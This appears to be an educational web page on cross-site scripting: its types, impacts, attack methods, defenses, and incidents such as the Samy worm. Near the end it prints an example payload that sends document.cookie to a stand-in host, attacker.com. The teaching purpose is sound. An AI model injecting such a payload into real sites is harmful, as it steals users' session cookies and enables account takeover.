Back to Attack Techniques

Cross-Site Scripting (XSS)

Explore the dangers, methods, and defenses against XSS attacks.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal sensitive information, manipulate page content, or perform actions on behalf of the victim.

Types of XSS Attacks

  • Stored XSS: Malicious script is permanently stored on the target server
  • Reflected XSS: Malicious script is reflected off the web server in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request
  • DOM-based XSS: Vulnerability is in the client-side code rather than the server-side code

Impact of XSS Attacks

  • Theft of sensitive data (e.g., cookies, session tokens)
  • Account takeover
  • Malware distribution
  • Defacement of websites
  • Phishing attacks
  • Spreading of worms or viruses

Common XSS Attack Methods

  • Injecting malicious scripts into form inputs
  • Exploiting unvalidated URL parameters
  • Manipulating DOM elements client-side
  • Exploiting vulnerable JavaScript libraries
  • Injecting scripts through file upload features
  • Exploiting inadequate output encoding

Preventing XSS Attacks

  • Input validation and sanitization
  • Output encoding
  • Use of Content Security Policy (CSP)
  • Implementing HttpOnly flag for cookies
  • Using appropriate response headers (X-XSS-Protection)
  • Regular security audits and penetration testing
  • Keeping software and libraries up-to-date
  • Using secure coding practices
  • Implementing Web Application Firewalls (WAF)
  • Educating developers about XSS risks and prevention

XSS Attack Simulation

Experience a simulated XSS attack

Real-World XSS Incidents

Samy Worm on MySpace (2005)

One of the most famous XSS attacks, the Samy worm infected over one million MySpace profiles in less than 24 hours, demonstrating the potential reach of XSS vulnerabilities.

Twitter StalkDaily Worm (2009)

A series of XSS attacks on Twitter allowed attackers to create worms that spread by causing victims to re-tweet malicious links automatically.

eBay XSS Vulnerability (2017)

Researchers discovered an XSS vulnerability in eBay that could allow attackers to create fake login pages and steal user credentials.

XSS Attack Example

Here's an example of a simple XSS payload that an attacker might try to inject:

<script>
  alert('XSS Attack!');
  document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>
This script would:
  • Display an alert to show that the XSS attack was successful
  • Attempt to steal the user's cookies by sending them to the attacker's server

Test Your Knowledge

Which of the following is NOT a type of XSS attack?